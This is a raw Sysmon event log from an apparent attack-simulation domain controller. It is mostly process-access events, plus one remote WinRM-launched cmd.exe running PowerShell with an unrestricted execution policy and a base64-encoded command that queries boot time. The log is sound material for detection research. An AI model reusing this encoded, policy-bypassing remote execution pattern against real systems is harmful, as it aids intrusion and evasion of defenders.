09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002617Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002616Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002615Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002614Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002613Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28F3-5F80-7A00-000000007F01}4648C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002612Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28F3-5F80-7800-000000007F01}45724628C:\Windows\system32\WinrsHost.exe{A5F018FF-28F3-5F80-7A00-000000007F01}4648C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000002611Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.909{A5F018FF-28F3-5F80-7A00-000000007F01}4648C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28F3-5F80-07B8-040000000000}0x4b8070HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28F3-5F80-7800-000000007F01}4572C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000002610Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002609Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002608Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002607Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BF-5F80-1300-000000007F01}12642272C:\Windows\system32\svchost.exe{A5F018FF-28F3-5F80-7800-000000007F01}4572C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000002606Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.885{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28F3-5F80-7800-000000007F01}4572C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002605Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.885{A5F018FF-28F3-5F80-7900-000000007F01}45844604C:\Windows\system32\conhost.exe{A5F018FF-28F3-5F80-7800-000000007F01}4572C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002604Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28F3-5F80-7900-000000007F01}4584C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002603Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002602Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002601Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002600Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002599Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002598Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002597Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002596Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002595Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002594Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28F3-5F80-7800-000000007F01}4572C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002593Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28F3-5F80-7800-000000007F01}4572C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 